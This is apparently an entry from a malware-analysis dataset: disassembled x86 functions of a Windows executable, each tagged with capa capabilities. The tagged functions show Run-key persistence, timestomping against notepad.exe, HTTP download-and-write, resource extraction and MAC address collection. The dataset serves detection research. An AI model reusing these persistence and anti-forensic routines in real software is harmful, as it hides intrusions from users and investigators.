joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401540
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.004209f8
push eax
call fcn.004208c4
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x4015a4
mov ecx, dword [esi*4 + 0x443a90]
push 0
push 0
push 0
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x4015c9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 8
jl 0x401565
call fcn.004208d6
and eax, 0x80000007
jns 0x4015bb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x443a90]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi*4 + 0x443a90]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f80
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x43b2d4
push eax
xor bl, bl
call fcn.004218f3
mov esi, eax
add esp, 8
test esi, esi
je 0x401fff
mov ecx, dword [ebp + 8]
push edi
push 0x43b2dc
push ecx
call fcn.004218f3
mov edi, eax
add esp, 8
test edi, edi
je 0x401ff5
push esi
call fcn.00420b45
add esp, 4
test eax, eax
jne 0x401fea
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.00421c4a
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.00421e3e
push esi
call fcn.00420b45
add esp, 0x24
test eax, eax
je 0x401fc1
push edi
mov bl, 1
call fcn.00422275
add esp, 4
push esi
call fcn.00422275
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402010
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push str.SYSTEMROOT
mov dword [ebp - 0x98], eax
call fcn.0042097e
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402040
sub eax, edx
add eax, 0x20
push eax
call fcn.0041fbf7
push str.SYSTEMROOT
mov edi, eax
call fcn.0042097e
push eax
push str._s_notepad.exe
push edi
call fcn.00420835
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x14
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020d1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x98]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020d1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004208b9
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
mov esp, ebp
pop ebp
ret
Function at 0x402a30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436e98
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, ecx
cmp ebx, 0xffffffff
jne 0x402a6c
xor eax, eax
jmp 0x402bf1
mov eax, dword [edi + 0x24]
mov ecx, dword [eax]
test ecx, ecx
je 0x402a95
mov eax, dword [edi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x402a95
dec dword [eax]
mov edi, dword [edi + 0x24]
mov eax, dword [edi]
lea ecx, [eax + 1]
mov dword [edi], ecx
mov byte [eax], bl
mov eax, ebx
jmp 0x402bf1
cmp dword [edi + 0x54], 0
je 0x402bee
mov ecx, dword [edi + 0x10]
lea edx, [edi + 0x48]
cmp dword [ecx], edx
jne 0x402abd
mov edx, dword [edi + 0x3c]
mov eax, dword [edi + 0x40]
mov dword [ecx], edx
mov ecx, dword [edi + 0x20]
mov dword [ecx], eax
mov edx, dword [edi + 0x30]
sub eax, eax
mov dword [edx], eax
cmp dword [edi + 0x44], 0
jne 0x402ae3
mov edi, dword [edi + 0x54]
movsx eax, bl
push edi
push eax
call fcn.00420a49
add esp, 8
cmp eax, 0xffffffff
je 0x402bee
mov eax, ebx
jmp 0x402bf1
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
call fcn.004033a0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
jmp 0x402b00
mov edx, eax
cmp ebx, 0x10
jae 0x402b0c
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
push edx
push eax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x2d]
push edx
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x14]
call eax
test eax, eax
js 0x402be6
cmp eax, 1
jg 0x402ba0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x402b4c
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
sub esi, ecx
je 0x402b75
cmp ebx, 0x10
jae 0x402b5b
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00421e3e
add esp, 0x10
cmp esi, eax
jne 0x402be6
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x2d]
mov byte [edi + 0x49], 1
cmp dword [ebp - 0x38], edx
jne 0x402bd9
test esi, esi
jne 0x402b00
cmp dword [ebp - 0x1c], 0x20
jae 0x402be6
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.00403400
jmp 0x402af5
cmp eax, 3
jne 0x402be6
mov edi, dword [edi + 0x54]
movsx eax, byte [ebp - 0x2d]
push edi
push eax
call fcn.00420a49
add esp, 8
cmp eax, 0xffffffff
je 0x402bca
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.00402180
mov eax, esi
jmp 0x402bf1
lea ecx, [ebp - 0x2c]
or esi, 0xffffffff
call fcn.00402180
mov eax, esi
jmp 0x402bf1
lea ecx, [ebp - 0x2c]
call fcn.00402180
mov eax, dword [ebp + 8]
jmp 0x402bf1
lea ecx, [ebp - 0x2c]
call fcn.00402180
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420826
mov esp, ebp
pop ebp
ret 4
Function at 0x403860
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436f48
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4039f1
cmp byte [ebx + 0x49], 0
je 0x4039f1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x4039e5
lea esi, [ebp - 0x2c]
call fcn.004033a0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4038d3
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x40390c
dec eax
je 0x403910
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4039ec
call fcn.00402180
xor al, al
jmp 0x4039f3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403920
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40394d
cmp edi, 0x10
jae 0x40392f
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00421e3e
add esp, 0x10
cmp esi, eax
jne 0x4039dd
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4039e9
test esi, esi
jne 0x4038c7
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x403a0e
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x403a0e
cmp edi, esi
jae 0x4039c6
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403d40
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x4038c7
mov ecx, eax
cmp edi, 0x10
jae 0x4039a2
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x4039bd
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x4038c1
test esi, esi
jne 0x403998
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4039d5
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x4038c1
lea ecx, [ebp - 0x2c]
call fcn.00402180
xor al, al
jmp 0x4039f3
lea ecx, [ebp - 0x2c]
call fcn.00402180
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420826
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.004202a1
int3
Function at 0x403c10
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436e3b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x440480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004203f5
push 4
mov dword [ebp - 4], 0
call fcn.004222e9
mov edi, eax
add esp, 4
test edi, edi
je 0x403c8c
call fcn.004201f0
mov dword [edi], eax
call fcn.0041ffaf
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.004203b6
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403c82
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.004203de
jmp 0x403c8e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404300
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436dab
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4044f3
cmp byte [0x443a59], 0
mov dword [ebp - 0x414], esi
jne 0x40436b
call fcn.004060e0
mov byte [0x443a59], 1
mov ecx, dword [0x443b0c]
mov eax, dword [ecx + 0x8c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x4044ed
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x4044e6
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4044df
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4044d8
push 1
call fcn.00422399
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4044b6
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x404472
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.004050d0
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404430
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x4044aa
inc eax
push eax
call fcn.0041fbf7
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404498
mov edi, dword [ebp - 0x418]
jmp 0x4044c9
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041fbf7
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.00421071
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420826
mov esp, ebp
pop ebp
ret
Function at 0x404510
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x408], eax
mov ebx, edx
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40455e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420826
mov esp, ebp
pop ebp
ret
push ebx
mov dword [ebp - 0x40c], edi
call fcn.00422369
add esp, 4
cmp byte [0x443a59], 0
jne 0x404582
call fcn.004060e0
mov byte [0x443a59], 1
mov edx, dword [0x443b0c]
mov eax, dword [edx + 0x8c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x40469b
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x410], esi
test esi, esi
je 0x404694
mov eax, dword [ebp - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x43b45c
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x404687
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x404680
push 0x43b2dc
push ebx
mov dword [ebp - 0x40c], 1
call fcn.004218f3
mov esi, eax
add esp, 8
test esi, esi
je 0x40467a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, edi
lea ecx, [ebp - 0x408]
push ecx
push 0x3ff
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x404671
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404671
push esi
push eax
mov byte [ebp + eax - 0x404], 0
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.00421e3e
add esp, 0x10
jmp 0x404630
push esi
call fcn.00422275
add esp, 4
mov esi, dword [ebp - 0x410]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x418]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
mov esp, ebp
pop ebp
ret
Function at 0x404910
Capabilities:
Check if file exists
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, edx
push esi
mov edi, ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40493b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
lea ebx, [esp + 0x10]
mov dword [esp + 0x10], 0
call fcn.00401de0
mov esi, eax
add esp, 4
test esi, esi
je 0x404932
push 0
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x404983
push esi
xor edi, edi
call fcn.004208b9
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x18]
push eax
push esi
mov ecx, edi
call fcn.004046c0
add esp, 0xc
push esi
mov edi, eax
call fcn.004208b9
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404ba0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x404bc0
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 3
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x404bef
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404bef
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x404bfe
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebx + 4]
push edi
push esi
call fcn.0041fbf7
add esp, 4
mov edi, eax
test esi, esi
je 0x404c24
mov ecx, dword [ebp - 4]
sub ecx, edi
mov edx, esi
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x404c18
mov ebx, dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp + 8]
mov eax, edi
pop edi
pop ebx
mov dword [edx], esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404db0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
push edi
push eax
mov eax, esi
call fcn.00404d30
mov ebx, eax
add esp, 4
test ebx, ebx
jle 0x404e2f
mov ecx, dword [ebp + 0xc]
push 0x43b2d4
push ecx
call fcn.004218f3
mov edi, eax
add esp, 8
test edi, edi
je 0x404e0d
push 2
push 0
push edi
call fcn.0042213b
add esp, 0xc
push edi
call fcn.0042204c
add esp, 4
push edi
mov dword [ebp - 0x10], eax
call fcn.00422275
mov eax, dword [ebp - 0x10]
add esp, 4
jmp 0x404e0f
xor eax, eax
cmp ebx, eax
je 0x404f5c
mov ecx, dword [ebp + 8]
push 0
push esi
mov eax, esi
call fcn.00404f70
add esp, 8
test al, al
je 0x404f5c
mov edx, dword [ebp + 0xc]
push edx
lea ebx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00401de0
add esp, 4
push esi
lea ebx, [ebp - 0xc]
mov edi, eax
mov dword [ebp - 0xc], 0
call fcn.00401de0
mov ebx, eax
lea eax, [ebp - 8]
add esp, 4
push eax
mov eax, esi
mov dword [ebp - 8], 0
call fcn.00404ba0
mov ecx, dword [ebp + 0x10]
add esp, 4
push 0x43b2dc
push ecx
mov dword [ebp - 0x10], eax
call fcn.004218f3
mov esi, eax
add esp, 8
test esi, esi
je 0x404f32
test edi, edi
je 0x404ea9
mov edx, dword [ebp - 4]
push esi
push edx
push 1
push edi
call fcn.00421e3e
push edi
call fcn.004208b9
add esp, 0x14
push esi
call fcn.00422275
mov esi, dword [ebp - 0x10]
add esp, 4
test esi, esi
je 0x404ecf
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
push esi
call fcn.00404c50
push esi
call fcn.004208b9
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push 0x43b53c
push ecx
call fcn.004218f3
mov esi, eax
add esp, 8
test esi, esi
je 0x404f29
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404ef0
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.00421e3e
add esp, 0x10
test ebx, ebx
je 0x404f20
mov edx, dword [ebp - 0xc]
push esi
push edx
push 1
push ebx
call fcn.00421e3e
push ebx
call fcn.004208b9
add esp, 0x14
push esi
call fcn.00422275
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x404f3f
push edi
call fcn.004208b9
add esp, 4
test ebx, ebx
je 0x404f4c
push ebx
call fcn.004208b9
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x404f5c
push eax
call fcn.004208b9
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404f70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push eax
lea ebx, [ebp - 4]
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.00401de0
mov ecx, dword [ebp - 4]
add esp, 4
mov edi, eax
push 1
push edi
mov ebx, esi
call fcn.004051f0
mov ebx, eax
add esp, 8
test ebx, ebx
jns 0x404fc2
mov eax, esi
lea edx, [eax + 1]
jmp 0x404fb0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404fb0
mov ecx, dword [ebp - 4]
sub eax, edx
sub ecx, eax
cmp ebx, ecx
jge 0x405034
mov edx, dword [ebp + 8]
push 0x43b2dc
push edx
call fcn.004218f3
mov edx, eax
add esp, 8
mov dword [ebp - 8], edx
test edx, edx
je 0x405034
cmp byte [ebp + 0xc], 0
jne 0x404ff8
mov eax, esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404fe7
sub eax, esi
lea esi, [eax + ebx]
mov ebx, dword [ebp - 4]
jmp 0x404ffa
xor esi, esi
cmp esi, ebx
jge 0x405019
mov edi, edi
push edx
push 1
lea eax, [esi + edi]
push 1
push eax
call fcn.00421e3e
mov edx, dword [ebp - 8]
inc esi
add esp, 0x10
cmp esi, ebx
jl 0x405000
push edx
call fcn.00422275
add esp, 4
push edi
call fcn.004208b9
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.004208b9
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4053c0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x288
mov dword [ebp - 4], 4
call fcn.00422399
mov esi, eax
add esp, 4
test esi, esi
jne 0x4053e4
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 4]
push eax
push esi
call edi
cmp eax, 0x6f
jne 0x405409
mov ecx, dword [ebp - 4]
push ecx
call fcn.00422399
mov esi, eax
add esp, 4
test esi, esi
je 0x40547a
lea edx, [ebp - 4]
push edx
push esi
call edi
test eax, eax
jne 0x40546d
test esi, esi
je 0x40547a
push 0x10
call fcn.0041fbf7
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
mov edi, eax
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push edi
call fcn.00420835
push esi
call fcn.00421071
add esp, 0x28
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x40547a
push esi
call fcn.00421071
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret